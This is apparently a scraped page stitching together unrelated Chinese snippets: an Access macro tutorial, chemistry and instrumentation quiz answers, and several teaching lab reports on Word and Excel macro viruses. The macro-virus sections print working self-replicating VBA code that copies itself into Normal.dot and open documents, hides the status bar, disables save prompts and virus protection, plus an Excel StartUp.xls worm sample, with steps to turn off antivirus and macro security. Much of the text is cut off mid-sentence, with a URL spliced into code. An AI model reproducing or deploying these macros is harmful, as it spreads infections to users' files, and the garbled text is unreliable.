实验八宏操作答案

实验八宏操作一、实验目的

掌握几种有关宏的创建方法。

二、实验要求

1. 了解宏的特性

2. 掌握宏与宏组的创建方法

3. 学习利用宏建立菜单

三、实验内容

实验8-1 利用宏编辑器创建一个宏macro ，打开“FL Y(飞翔)信息管理系统”数据库中的已知表“商品”。操作步骤如图8.1所示:

图8.1 创建宏

选择“宏”为操作对象，单击“新建”按钮，根据操作目标选择宏操作“opentable”，表名称选择“商品”，如下图所示：

单击“退出”按钮，打开“另存为”对话框。保存宏，结束宏的创建。

单击“运行”按钮，查看宏“macro”的执行情况。

实验8-2利用“FL Y(飞翔)信息管理系统”数据库中创建一个宏组“marco group ”，打开多个表，宏组由“macro1”和“macro2”两个宏组成，其中，macro1功能是打开“订单”表。Macro2功能是关闭“订单”表和打开“订单明细”。操作步骤如图8.2所示:

图8.2创建宏组

提示：通过实验可以看出，当宏与宏组创建完成后，只有运行宏或宏组，才能实现宏操作。而宏组实际上是一个冠有不同宏名的多个宏的集合。如果直接运行宏组时，执行的只是第一个宏名所包含的所有宏命令，若要执行其他宏名中的宏命令，则要通过触发控件的事件代码执行宏命令，以及通过宏命令间接执行。

实验8-3利用“FL Y(飞翔)信息管理系统”数据库中创建一个“打开表”窗体，其中包含命令按钮，通过命令按钮控件运行宏组打开多个表。操作步骤如图8.3所示：

在宏编辑器中，选择“视图”菜单的“宏名”命令，分别定义宏名（macro1和macro2），如下图所示：

选择“宏”为操作对象，单击“新建”按钮，打开宏编辑器，分别选择选择宏操作为“opentable”和“close”，对应的对象类型为“表”，对象名称为“订单”和“订单明细”，如下图所示：

选择“文件”菜单的“另存为”命令，打开“另存为”对话框。保存宏组，结束宏的创建，如下图所示：

单击“运行”按钮，查看宏“macro group”的执行情况

图8.3 触发控件运行宏

选择“宏”为操作对象，单击“新建”按钮，打开宏编辑器。在宏编辑窗口，打开“视图”菜单，选择“宏名”命令，分别定义宏名及对应的宏命令，如下列各图所示：

在宏编辑器中，选择“文件”菜单中的“另存为”命令，打开“另存为”对话框，如下图所示，保存宏组

选择“窗体”为操作对象，单击“新建”按钮，打开“新建窗体”窗口，选择“设计视图”，打开“窗体”窗口，在“窗体”对话框，设计窗体的属性，如下图所示：

在“窗体”对话框，给新窗体添加4个命令按钮控件，并定义其格式属性，如下列图所示：

在“窗体”对话框，给4个命令按钮控件定义其事件属性，如下列图所示：

在“窗体”窗口，给新窗体添加3个标签控件，并定义其属性如下列图所示：

保存后运行窗体，单击某一命令按钮，将运行宏组中的一组宏操作命令，如图所示：

提示：通过实验可以看出，宏可以由控件启动，在Access 中，经常使用的宏运行方法是将宏赋予给某一窗体或报表控件的事件属性值，通过触发事件运行宏或宏组。宏设计通常有控件准备、宏编程和触发设置3步。

实验8-4使用“FL Y(飞翔)信息管理系统”数据库，创建“密码验证”窗体，并为它编写一个最简单的验证程序，程序逻辑是：如果密码输入正确，关闭验证窗体，否则显示信息“密码错误”，继续输入密码。操作步骤如图8.4所示：

图8.4 创建带条件的宏

选择“窗体”为操作对象，单击“新建”按钮，设计“密码验证”窗体如下图所示。注意文本框和按钮的名称为“密码”、“确认”，下面的宏引用要与此一致。

在数据库窗口的对象栏选择“宏”，单击“新建”按钮，自动产生暂名“宏1”的宏设计界面,如下图所示(注意 :左边除了“宏名”列，还有“条件”列，用鼠标右键单击宏设计窗口深色标题栏，即可在快捷菜单中打开/关闭此列)。编程完毕后，保存为“密码”宏。

设置“密码验证”窗体的“确认”按钮的“单击”事件，如下图所示：

试运行效果如图所示(密码错误时)。

提示：调试完程序后，在“密码”文本框中要设置掩码属性为密码型，以防输入时被人窥伺。通过实验可以看出，有些指令序列是否执行，要根据某条件表达式当时是否去真值，这样的程序结构通常叫分支结构。在Access 中，运行宏或宏组时可以设置某些限定的条件，使得宏或宏组被选择时使用。本实验中宏的第1行，其意思是当表达式“[密码]=“007””取真值（“yes”），就关闭当前窗口。第2行条件中的“…”表示条件同上，意思是当“[密码]=“007””时，执行完第1句接着执行本句——StopMarco 指令，表示本分支结束。只有当前2句条件列取值为假，第2句代表的另一分支才有机会执行。MsgBox 指令表示显示信息窗口，“消息”参数填写显示内容“密码错误”，其他参数都是可选项。

实验8-5在实验4的基础上建立一个完整的密码管理窗体。该窗体的记录源为个人密码表，结构为密码表（学号、姓名、班级、口令）。可以在“工具|启动”窗口设置它为启动后自动打开，以保证数据库的安全。拥有密码者有权更改密码（此处为“007”）。操作步骤如下：

图8.5 创建密码管理窗体

选择“窗体”为操作对象，单击“新建”按钮，设计“密码管理”窗体如下图所示。注意窗体记录源为“密码表”。窗体上有一未绑定文本框：计数器（可见性：否；默认值：1）。其他三个文本框为密码、新密码、重复。

选择“宏”为操作对象，单击“新建”按钮，打开宏编辑器。在宏编辑窗口，打开“视图”菜单，选择“宏名”和“条件”命令，分别定义宏名、定义及对应的操作，如图所示：

将“密码管理.验证”、“密码管理.修改”分别挂到”密码管理“窗体”登录“、”修改登录“按钮的”单击“事件，试运行该窗体检验效果。如图所示：

提示：在本实验中，对密码管理进行了完善。密码输入三次错误以上将自动退出Access（quit 操作）。同时可以修改现有密码，并写入到“密码”表中。利用表达式，实现参数表达或对象引用，在使用中，要注意表达式的正确形式。

实验8-6使用宏，创建“FL Y(飞翔)信息管理系统”数据库主菜单。操作步骤如下：

1）设计主菜单系统

设计主菜单就是根据系统的功能，规划设计一个菜单，使它能够展示系统功能，提供实现系统功能的选择方式。部分主菜单系统如下表所示：

设计好主菜单后，具体操作步骤如下图所示（以“订单管理”菜单为例）：

图8.6 利用宏创建菜单

在“数据库”窗口，选择“宏”为操作对象，单击“新建”按钮，打开宏编辑器。在宏编辑器中，打开“另存为”对话框。定义宏名为“主菜单”，单击“确定”按钮。在宏编辑器中，逐一定义菜单项的名称，以“订单管理”为例，如下图所示。

打开“主窗体”窗口，在窗体属性对话框的“菜单栏”的文本框内，输入菜单名“主菜单” 。试运行该窗体，点击菜单项将打开对应窗体，如下图所示

在“数据库”窗口，选择“宏”为操作对象，单击“新建”按钮，打开宏编辑器。在宏编辑器中，打开“另存为”对话框。定义宏名为“订单管理”，单击“确定”按钮。打开“视图”菜单，选择“宏名”命令，在宏编辑器中增加一个“宏名”列，逐一定义菜单项中每个子菜单的名称和要执行的宏操作。保存宏，结束“订单管理”的创建，返回“数据库”窗口。

Word宏病毒

Word宏病毒 1.实验目的(后果自负) Word宏是指能组织到一起为独立命令使用的一系列Word指令，它能使日常工作变得容易。本实验演示了宏的编写，通过两个简单的宏病毒示例，说明宏的原理及其安全漏洞和缺陷，理解宏病毒的作用机制，从而加强对宏病毒的认识，提高防范意识。 2.实验所需条件和环境硬件设备：局域网，终端PC机。系统软件：Windows系列操作系统支撑软件：Word 2003 软件设置：关闭杀毒软；打开Word 2003，在工具→宏→安全性中，将安全级别设置为低，在可靠发行商选项卡中，选择信任任何所有安装的加载项和模板，选择信任visual basic项目的访问实验环境配置如下图所示：受感染终端受感染 Word文档被感染终端宏病毒传播示意图 3.实验内容和分析为了保证该实验不至于造成较大的破坏性，进行实验感染后，被感染终端不要打开过

多的word文档，否则清除比较麻烦（对每个打开过的文档都要清除）。 3.1. 例1 自我复制，感染word公用模板和当前文档代码如下： 'Micro-Virus Sub Document_Open() On Error Resume Next Application.DisplayStatusBar = False Options.SaveNormalPrompt = False Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If With Host If .Lines(1.1) <> "'Micro-Virus" Then .DeleteLines 1, .CountOfLines .InsertLines 1, Ourcode .ReplaceLine 2, "Sub Document_Close()" If ThisDocument = nomaltemplate Then .ReplaceLine 2, "Sub Document_Open()" ActiveDocument.SaveAs ActiveDocument.FullName End If End If End With MsgBox "MicroVirus by Content Security Lab" End Sub 打开一个word文档，然后按Alt+F11调用宏编写窗口（工具→宏→Visual Basic→宏编辑器）,在左侧的project—>Microsoft Word对象→ThisDocument中输入以上代码，保存，此时当前word文档就含有宏病毒，只要下次打开这个word文档，就会执行以上代码，并将自身复制到Normal.dot（word文档的公共模板）和当前文档的ThisDocument中，同时改变函数名（模板中为Document_Close，当前文档为Document_Open），此时所有的word文档打开和关闭时，都将运行以上的病毒代码，可以加入适当的恶意代码，影响word的正常使用，本例中只是简单的跳出一个提示框。 3.1.1.代码解释以上代码的基本执行流程如下： 1)进行必要的自我保护 Application.DisplayStatusBar = False Options.SaveNormalPrompt = False 高明的病毒编写者其自我保护将做得非常好，可以使word的一些工具栏失效，例如将

《化学实验基本操作训练》考题及要求(有答案)

《化学实验基本操作训练》考题及要求答案仅供参考、说出下列化学实验仪器的名称 6试剂瓶 11量筒12 1000 ml容量瓶13量杯14分液漏斗 1 干燥器2电热套3蒸发皿4洗瓶 5称量瓶7锥形瓶8抽滤瓶9滴瓶10漏斗

、判断题 1、洗净的玻璃仪器如烧杯、试剂瓶等不能倒扣在实验台上。 2、洗瓶尖嘴不能接触容器内壁。（V ） 3、铬酸洗液不能重复使用。（X ） 4、量筒洗净后应放在烘箱中烘干。（X ） 6、化学实验操作过程中，头不可伸入到通风厨中。 7、分析纯、化学纯试剂的标签颜色分别为红色、蓝色。 8、固体试齐煤入广口试剂瓶，液体试齐U 装入细口试剂瓶。 9、可以将鼻孔靠近试剂瓶口去感觉试剂的气味。 5、用烘箱烘干玻璃仪器时，烘箱的温度可设定为 105~110C 。 (V) 15移液管16酸式滴定管17碱式滴定管18刺形分馏柱19直形冷凝柱20球形冷凝柱 25滴管 21布氏漏斗 22烧瓶 23蒸馏头 24接引管

10、在使用容量瓶、分液漏斗前，磨口玻璃塞要用橡皮筋系在瓶口。 11、取用化学试剂时，若没有说明用量则应按照最少量取用：液体取管底部。（V ） 12、实验过程中，未用完的化学药品不能放回原来的试剂瓶中，要将其丢弃。13、用胶头滴管往容器中加入较少量液体时，胶头滴管要垂直悬空。( V ) 14、采用倾倒法取用液体试剂时，试剂瓶的标签要靠在手心，试剂瓶口不能与承接试剂的容器口接触。(X ) 15、为将粉末状固体试剂送入容器的底部，可以使用纸片折成的 V 型槽。( V ) 16、用托盘天平称量固体试剂时，砝码应放在右盘。 ( V ) 17、称量 0.1200~0.1300g 药品时，要用加重法在分析天平上进行。 (X ) 18、带有刻度的烧杯可以作用量器使用。 ( X ) 19、称量瓶不能用手直接接触，而要用纸带套住称量瓶。( V ) 20、要待分析天平的零点显示稳定后方可进行称量操作。 ( V ) 21、用移液管移取一定量的液体时，留在移液管尖嘴的少量液体要用洗耳球吹出。 ( X 22、碱式滴定管通过玻璃珠和橡皮管间的缝隙大小来控制滴定速度。 ( V ) 23、酸碱滴定管除可用于酸碱滴定外，也可用于量取一定体积的溶液。( V ) 24 、滴定用的锥形瓶在洗净后一定要烘干方可使用。 ( X ) 25、量筒的刻度值为上小下大”，滴定管的刻度值为上大下小”。(X ) 26、用移液管移取试剂瓶中的液体时，移液管要插入到试剂瓶的底部。 ( X ) 27、从移液管中放出液体到容器中时，移液管的尖嘴口要接触容器内壁。( V ) 28、在滴定开始前，滴定管尖嘴部分的气泡可以不予排出。 ( X ) 29、滴定管使用完后，要洗净并倒置夹在滴定台的蝴蝶夹上。( V ) 30、如果酸式滴定管的玻璃旋塞处漏液，可以采用在旋塞上涂抹凡士林来处理。( V ) 31、分液漏斗的旋塞操作方法和酸式滴定管相同。( V ) 32 、从分液漏斗中放出液体时，上下层液体均应从下口放出。 (X ) 33、普通常压过滤时，漏斗流出口的尖嘴端不能靠在烧杯的内壁。 (X ) 34、过滤时，要将待过滤液直接倒入漏斗中。 ( X ) 35、布氏漏斗中不用放入滤纸。 ( X ) 36、为了维持过滤时滤液较高的温度，应采用热过滤，热过滤又称保温过滤。( V ) 37、分液漏斗使用前不用检查是否漏液。 ( X ) 38、减压过滤时，吸滤瓶的支管口要通过橡皮管与真空泵相连。( X ) 39 、抽滤完成后，应先关闭真空泵再拨开抽滤瓶上的橡皮管。 ( X ) 40、减压过滤简称为抽滤或吸滤，比常压过滤的速度更快。 ( V ) 41、蒸馏时，圆底烧瓶中装入的液体不能超过烧瓶容积的 2/3。( V ) 42、蒸馏装置的安装应遵循 “从下往上，从左往右 ”的顺序，拆卸顺序与安装顺利相同。 43、蒸馏完成后，要先关闭冷凝水，再停止加热。 ( X ) 44、蒸馏时，温度计从蒸馏头上口插入的深度没有明确要求。 ( X ) 45、当液体的沸点差距小于 30C 时，要使用分馏方法来进行分离，而不能使用蒸馏。( I ?2mL ，固体只需盖满试 X )

实验室基本技能培训要点

实验室基本技能培训要点 4.2 仪器的较准 1、电子天平校准因存放时间较长，位置移动，环境变化或为获得精确测量，天平在使用前，一般都应进行校准操作。轻按CAL显示器出现CAL-100，闪烁，此时，把100g校准砝码放上称盘，显示器出现--------等待状态，经几秒名钟后显示器出现100.0000g，拿去校准砝码，显示器应出现0.0000g，如若显示不为零，则再清零，再重复以上校准操作（注意，为了得到准确的校准结果最好反复以上校准操作二次）。 2、容量仪器的较准（1）、新到容量仪器使用前进行校准（容量瓶、量筒、刻度吸管、大肚吸管）（2）、容量仪器可分为“量入”和“量出”二大类。（3）、先较准天平，再将容量仪器洗净、凉干后进行较准。（4）、较准作业在20℃的室内进行，用蒸馏水或其它纯水进行。 3、酸度计校准 ?1 将“选择”钮拨至pH档，“斜率”旋钮顺时针旋到底；“温度” 旋钮旋至溶液的温度值。 ?2 把用蒸馏水清洗过的电极插入pH=6.86pH(25℃时的值)的标准缓冲溶液中，待读数稳定后调节“定位”旋钮至该溶液在当时温度下的pH值（当时温度下的pH值可查附录）。

?3 用蒸馏水清洗电极然后将电极插入pH=4.00或pH=9.18的标准缓冲溶液中（根据被测溶液的酸碱性确定选择那一种缓冲溶液，如果被测溶液呈酸性则选pH=4.00缓冲溶液；如果被测溶液呈碱性则选pH=9.18的缓冲溶液），待读数稳定后调节“斜率” 旋钮至该溶液在当时温度下的pH值（当时温度下的pH值可查附录）。 ?4 重复步骤2和3直到不需要再调节二旋钮为止。 ?5 标定结束（一般情况下，在24h内仪器不需要再标定）。 4.3基本仪器的使用方法 4.3.1滴定管的使用 ?使用时应先用欲滴定溶液润洗2-3次； ?注入溶液或放出溶液后，需等待30s-1min后才能读数（使附着在内壁上的溶液留下）； ?滴定管应用拇指和食指拿住滴定管的上端（无刻度处）使管身保持垂直后读数； ?对于无色溶液或浅色溶液，应读弯月面下缘实线的最低点（视线应与弯月面下缘实线的最低点相切）； ?滴定时，最好每次都从0.00mL开始，或从接近零的任一刻度开始，这样可固定在某一段体积范围内滴定，减少测量误差。读数必须准确到0.01mL。 ?旋塞要保护润滑，适量使用凡士林，外套胶管固定，防止漏液。 4.3.2移液管的使用

清除宏病毒

清除宏病毒，名字是：StartUp.xls方法 --大白菜文中图片都很小，看不清楚，可以用以下快捷方式：按住ctrl 向上滚动鼠标滑轮可以放大word，就可以看清楚图片了病毒样本如下：（下面是宏病毒代码，电脑知识欠缺的，千万被乱动哦，小心弄巧成拙） Vba代码 =================宏病毒代码复制从下一行开始================= Sub auto_open() On Error Resume Next If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then Application.ScreenUpdating = False ThisWorkbook.Sheets("StartUp").Copy ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls") n$ = https://www.360docs.net/doc/d24273760.html, ActiveWindow.Visible = False Workbooks("StartUp.xls").Save Workbooks(n$).Close (False) End If Application.OnSheetActivate = "StartUp.xls!cop" Application.OnKey "%{F11}", "StartUp.xls!escape" Application.OnKey "%{F8}", "StartUp.xls!escape" End Sub Sub cop() On Error Resume Next If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then Application.ScreenUpdating = False n$ = https://www.360docs.net/doc/d24273760.html,

仪器分析实验试题及答案1

一、填空题 1、液相色谱中常使用甲醇、乙腈和四氢呋喃作为流动相，这三种溶剂在反相液相色谱中的洗脱能力大小顺序为甲醇<乙腈<四氢呋喃。 2、库仑分析法的基本依据是法拉第电解定律。 3、气相色谱实验中，当柱温增大时，溶质的保留时间将减小；当载气的流速增大时，溶质的保留时间将减小。二、选择题、 1、、色谱法分离混合物的可能性决定于试样混合物在固定相中___D___的差别。 A. 沸点差 B. 温度差 C. 吸光度 D. 分配系数。 2、气相色谱选择固定液时，一般根据___C__原则。 A. 沸点高低 B. 熔点高低 C. 相似相溶 D. 化学稳定性。 3、在气相色谱法中，若使用非极性固定相SE-30分离乙烷、环己烷和甲苯混合物时，它们的流出顺序为（C ） A. 环己烷、乙烷、甲苯； B. 甲苯、环己烷、乙烷； C. 乙烷、环己烷、甲苯； D. 乙烷、甲苯、环己烷 4、使用反相高效液相色谱法分离葛根素、对羟基苯甲醛和联苯的混合物时，它们的流出顺序为（A ） A. 葛根素、对羟基苯甲醛、联苯； B. 葛根素、联苯、对羟基苯甲醛； C. 对羟基苯甲醛、葛根素、联苯； D. 联苯、葛根素、对羟基苯甲醛 5、库仑滴定法滴定终点的判断方式为（B ） A. 指示剂变色法； B. 电位法； C. 电流法 D. 都可以三、判断题 1、液相色谱的流动相又称为淋洗液，改变淋洗液的组成、极性可显著改变组分的分离效果。（√） 2、电位滴定测定食醋含量实验中电位突越点与使用酸碱滴定法指示剂的变色点不一致（×）四、简答题 1、气相色谱有哪几种定量分析方法？答：气相色谱一般有如下定量分析方法：内标法、外标法、归一法、标准曲线法、标准加入法。 2、归一化法在什么情况下才能应用？

宏病毒分析及清除实验

实验五宏病毒分析及清除实验姓名：xxx 学号：xxxxxxxx 日期：2014年4月26日专业：计算机科学与技术一、实验目的 ?了解“宏病毒”机理； ?掌握清除宏病毒的方法； ?掌握采用“宏”和脚本语言进行编程的技术。二、实验环境 ?Windows2003操作系统； ?Office Word2003字处理软件。三、实验内容 1．软件设置关闭杀毒软件；打开Word字处理软件，在工具“宏”的“安全性”中，将“安全级”设置为低，在“可靠发行商”选项卡中，选择信任任何所有安装的加载项和模板，选择“信任visual basic项目的访问”。注意：为了保证该实验不至于造成较大的破坏性，进行实验感染后，被感染终端不要打开过多的word文档，否则清除比较麻烦（对每个打开过的文档都要清除）。 2．自我复制功能演示打开一个word文档，然后按Alt+F11调用宏编写窗口（工具“宏”“Visual Basic宏编辑器”）,在左侧的“project—>Microsoft Word”对象“ThisDocument”中输入以下代码（Macro-1），保存，此时当前word文档就含有宏病毒，只要下次打开这个word文档，就会执行以上代码，并将自身复制到Normal.dot（word文档的公共模板）和当前文档的ThisDocument中，同时改变函数名（模板中为Document_Close，当前文档为Document_Open），此时所有的word文档打开和关闭时，都将运行以上的病毒代码，可以加入适当的恶意代码，影响word的正常使用，本例中只是简单的跳出一个提示框。完整代码如下：

物化实验习题与答案

实验一燃烧热的测定 1．根据热化学的定义，关于燃烧热的定义下列说法正确的是（C）（A）物质氧化时的反应热（B）物质完全氧化时的反应热（C）1mol物质完全氧化时的反应热（D）1mol物质完全还原时的反应热 2．氧弹式量热计的基本原理是（A）（A）能量守恒定律（B）质量作用定律（C）基希基希霍夫定律（D）以上定律都适用 3．氧弹式量热计是一种（D）（A）绝热式量热计（B）热导式量热计（C）热流式量热计（D）环境恒温式量热计 4．在用氧弹式量热计测定苯甲酸燃烧热的实验中不正确的操作是（D）（A）在氧弹充入氧气后必须检查气密性（B）量热桶内的水要迅速搅拌，以加速传热（C）测水当量和有机物燃烧热时，一切条件应完全一样（D）时间安排要紧凑，主期时间越短越好，以减少体系与周围介质发生的热交换5．在测定萘的燃烧热实验中，先用苯甲酸对氧弹量热计进行标定，其目的是（A）（A）确定量热计的水当量（B）测定苯甲酸的燃烧热（C）减少萘燃烧时与环境的热交换（D）确定萘燃烧时温度的增加值 6．用氧弹式量热计测定萘的燃烧热，实验直接测量结果符号表示为（C）（A）Q （B）Q P （C）Q V （D）△H 7．燃烧热测定实验中，温差的修正可用哪种方法进行（B）（A）溶解度曲线（B）奔特公式（C）吸热——放热曲线（D）标准曲线 8．给氧弹充氧气时，正确的操作方法是减压阀出口压力指示表指针应指在（B）（A）小于（B）—2 MPa （C）3Mpa—4MPa （D） 5 MPa 9．氧弹量热计中用水作为物质燃烧时燃烧热的传热介质，将水装在容器内正确的操作是（A）（A）3升水装在内筒

化学实验室基本操作

化学实验室基本操作化学实验室基本操作2010-07-24 11：54一、常用仪器的主要用途和使用方法反应容器：试管、燃烧匙、烧杯、锥形瓶、集气瓶存放容器：集气瓶(气体)、细口瓶(液体)、广口瓶(固体)、滴瓶(少量液体) 计量仪器：托盘天平(称固体质量)、量筒(量液体体积) 取用仪器：镊子(块状或较大颗粒)、药匙或纸槽(粉末或小颗粒)、胶头滴管(少量液体) 夹持容器：试管夹、坩埚钳、铁架台(带铁圈、铁夹) 其它仪器：漏斗、长颈漏斗、分液漏斗、石棉网、玻璃棒、水槽、试管刷可直接加热的：试管、蒸发皿、燃烧匙能间接加热的(需垫石棉网)：烧杯、烧瓶、锥形瓶加热仪器：酒精灯 1.烧杯圆柱状玻璃容器，杯口有便于倒出液体的嘴。常用的有25mL、50mL、100 mL、250 mL、500 mL等 (1)用于大量物质的溶解和配制溶液或者进行化学反应的容器，也常用于接过滤后的液体。 (2)实验时盛放液体的量不超过烧杯容积的1/2，以防搅拌时溅出。 (3)向烧杯中注入液体的时候，应沿烧杯内壁或玻璃棒引流。

(4)加热时要垫石棉网，也防受热不均而使其破裂。烧杯不能用作加热固体试剂。 2.试管 (1)用于少量物质的溶解或发生化学反应的仪器，也常用于制取或收集少量气体。 (2)振荡试管的方法：手持试管、手腕摆动。 3)实验时盛放液体量不能超过试管容积的1/3，以防振荡或加热时溅出。可直接加热。 (4)用试管夹或者铁夹固定时，要从试管底部向上套，夹持在试管的中上部(或离管口1/3的部位)。 3.蒸发皿 (1)用于溶液的蒸发、结晶 2)蒸发过程中需用玻璃棒不断搅拌，防止液体由于局部温度过高而飞溅 3)当溶液的量减少只有大量晶体析出时，停止加热并放至石棉网上，以防晶体飞溅 (4)取放蒸发皿，要用坩埚钳夹持 4.集气瓶 (1)用于收集气体、短时间贮存气体、用做物质在气体中的燃烧的反应器 (2)在收集气体或贮存气体时，要用毛玻璃片盖住瓶口。 5、试剂瓶试剂瓶包括滴瓶、细口瓶、广口瓶等。分为无色和棕色两种。

实验三脚本病毒和宏病毒分析

实验三脚本病毒和宏病毒分析一、实验目的通过这项实验旨在使学生掌握Office下宏病毒的基本原理，主要包括它的传染机制、破坏机制以及怎样清除Office下的宏病毒。二、实验环境操作系统环境：Windows98/NT/2000/XP 编程环境：Office VBA 三、实验基础知识要求 Office VBA编程环境四、实验任务 1．任务性质：验证性实验 2．任务描述：下面的示例中给出的是一个Word宏病毒的示例程序（只有传染模块），仔细阅读源程序，掌握Word宏病毒的传染过程。 3．任务步骤：（1）打开Word2000，新建一个文档名为“test”；（2）点击“工具－宏－宏”，在对话框“宏的位置”选择“test”，在宏名中输入“autoclose”，然后点击“创建”按钮；（3）在VBA编辑环境中输入示例程序中给出的代码，并保存，然后退出VBA；（4）点击“工具－宏－宏”，在对话框中点击“管理器”按钮，在管理器对话框中点击“宏方案项”标签；在宏方案项有效范围的“test.doc”中将“NewMacros”改名为“AOPEDMOK”；（5）点击“工具－宏－安全性”，在安全性对话框中的安全级标签中选择“低”，在可靠性来源标签中选择“信任对VB项目的访问”；（6）保存并关闭“test”文档；（7）新建一个文档test1，关闭后重新打开，观察test1是否被感染。（8）清除此宏病毒，即要同时删除normal模板、所有活动模板、和染毒文件的autoclose 宏。 4．示例程序 Sub autoclose() ' autoclose Macro ' 宏在2005-8-26 由jingjd 创建 On Error Resume Next Application.DisplayAlerts = wdAlertsNone Application.EnableCancelKey = wdCancelDisabled Application.DisplayStatusBar = False 'Options.VirusProtection = False Options.SaveNormalPrompt = False Const VirusName = "AOPEDMOK" 'MsgBox ActiveDocument.VBProject.VBComponents.Item(2).Name 'MsgBox ActiveDocument.VBProject.VBComponents(2).Name Set Doc = ActiveDocument.VBProject.VBComponents Set Tmp = NormalTemplate.VBProject.VBComponents Const ExportSource = "E:\aopedmok.txt" For j = 1 To Doc.Count

实验室使用安全测试题及答案

实验室安全 1 单选题实验室各种管理规章制度应该（）。 A 集中挂在醒目的地方 B 存放在档案柜中 C 由相关人员集中保管正确答案：A 2 单选题实验室安全管理实行（）级管理。 A 校、（院）系、实验室三级管理 B 校、（院）系两级管理 C 院（系）、实验室两级管理正确答案：A 3 单选题实验室安全管理应坚持（）方针。 A 安全第一，实验第二 B 安全第一，预防为主 C 安全为了实验，实验必须安全正确答案：B 4 单选题当油脂等有机物沾污氧气钢瓶时，应立即用（）洗净。乙醇A 四氯化碳B C 水汽油D 1 / 35

正确答案：B 5 单选题回流和加热时，液体量不能超过烧瓶容量的（）。 A 1/2 B 2/3 C 3/4 D 4/5 正确答案：B 6 单选题严禁在化验室内存放总量大于（）体积的瓶装易燃液体。 A 10L B 30L C 20L D 25L 正确答案：C 7 单选题易燃化学试剂理想存放温度是多少？允许存放最高室温不得超过多少？ A 0～10℃，30℃ B -4～4℃；30℃ C 0～5℃，20℃ D -4～4℃，40℃ 正确答案：B

8 多选题取用化学药品时，以下哪些操作事项是正确的（）。 2 / 35 A 取用腐蚀和刺激性药品时，尽可能带上橡皮手套和防护眼镜 B 倾倒时，切勿直对容器口俯视；吸取时，应该使用橡皮球 C 开启有毒气体容器时应带防毒用具 D 可以裸手直接拿取药品正确答案：A,B,C 9 多选题为避免误食有毒的化学药品，应注意做到（）。 A 不准把食物、食具带进实验室 B 在实验室内只能吃口香糖 C 使用化学药品后须先洗净双手方能进食 D 实验室内禁止吸烟正确答案：A,C,D 10 多选题大量集中使用气瓶，应注意（）。 A 不必要设置符合要求的集中存放室 B 根据气瓶介质情况，采取必要的防火、防爆、防电打火（包括静电）、防毒、防辐射等措施 C 通风要良好，要有必要的报警装置正确答案：B,C 11 多选题可燃性及有毒气体钢瓶一般不得进入实验楼内，存放此类气体钢瓶的地方应注意（）。

宏病毒实验报告

宏病毒实验报告 2 邹文敏一、实验目的通过运行计算机代码，更加深刻的理解计算机代码。对计算机代码有一个初步的认识。加深对宏病毒的感性认识，宏病毒是感染数据文件word,office 等。二、实验内容运行自我复制，感染word公用模板和当前文档；具有一定破坏性的宏；清除宏病毒。三、实验步骤实验一：将word文档中的开发者工具打开；word 中心→信任选项→宏设计将信任选项打开

运行第一个实验Visual Basic →normal →Microsoft→the document Project→microsoft word对象→the document复制如下代码：'APMP Private Sub Document_Open() On Error Resume Next Application.DisplayStatusBar = False Options.VirusProtection = False Options.SaveNormalPrompt = False '以上都是基本的自我隐藏措施 MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines( 1, 20) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then _ Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule

高考化学实验专题习题(附答案)

化学实验单元检测题一、选择题（每小题有1～2个选项符合题意） 1．下列有关实验操作的叙述中，不正确的是（） A．少量的白磷贮存在水中，切割时在水下进行 B．制取硝基苯时，使用的温度计的水银球应浸没于反应混合液中 C．不慎将浓硫酸沾到皮肤上，应迅速用布拭去，再用水冲洗，最后涂上稀小苏打溶液 D．不能使用裂化汽油从溴水中萃取溴 2．下列实验操作中，仪器需插入液面下的有①制备Fe(OH)2，用胶头滴管将NaOH溶液滴入FeSO4溶液中；②制备氢气，简易装置中长颈漏斗的下端管口；③分馏石油时，测量温度所用的温度计；④用乙醇制乙烯时所用的温度计；⑤用水吸收氨气时的导气管；⑥向试管中的BaCl2溶液中滴加稀硫酸 A．③⑤⑥B．③⑤ C．①②④D．①②③④⑤⑥ 3．下列各实验现象能用同一原理解释的是（） A．苯酚、乙烯都能使溴水褪色 B．稀硫酸中加入铜粉不反应，再加硝酸钠或硫酸铁后，铜粉溶解 C．葡萄糖和福尔马林与新制氢氧化铜悬浊液共热，都产生红色沉淀 D．将SO2通入氯化钡溶液至饱和，再加入足量硝酸或苛性钠溶液，都产生白色沉淀 4．在化学实验室进行下列实验操作时，其操作或记录的数据正确的是（） A．用托盘天平称取8.84g食盐 B．用250mL的容量瓶配制所需的220mL、0.1mol/L的NaOH溶液 C．用量筒量取12.12mL的盐酸 D．用0.12mol/L盐酸滴定未知浓度的NaOH溶液，消耗盐酸21.40mL 5．将淀粉溶液和淀粉酶的混合物放入玻璃纸袋中，扎好袋口，浸入流动的温水中，经相当一段时后，取袋内液体分别与碘水、新制Cu(OH)2悬浊液（加热）、浓硝酸（微热）作用，其现象依次是 6．某工厂排放的酸性废液里含有游离氯。Cl2可氧化Na2SO3，要除去游离氯并中和其酸性，正确的方法是 A．先加适量的Na2SO3溶液，再加适量Na2CO3溶液 B．先加适量的Na2CO3溶液，再加适量Na2SO3溶液

word宏恶意代码实验

计算机宏病毒分析一、实验目的 ?了解“宏病毒”机理； ?掌握清除宏病毒的方法； ?掌握采用“宏”和脚本语言进行编程的技术。二、实验环境 ?Windows 7 64位旗舰版 ?Office Word2010字处理软件。三、实验要求 ?宏的编写； ?理解宏病毒的作用机制。四、实验步骤： 1．软件设置关闭杀毒软件；打开Word字处理软件，在工具“宏”的“安全性”中，将“安全级”设置为低，在“可靠发行商”选项卡中，选择信任任何所有安装的加载项和模板，选择“信任visual basic项目的访问”。注意：为了保证该实验不至于造成较大的破坏性，进行实验感染后，被感染终端不要打开过多的word文档，否则清除比较麻烦（对每个打开过的文档都要清除）。 2．自我复制功能演示打开一个word文档，然后按Alt+F11调用宏编写窗口（工具“宏”“Visual Basic宏编辑器”）,在左侧的“project—>Microsoft 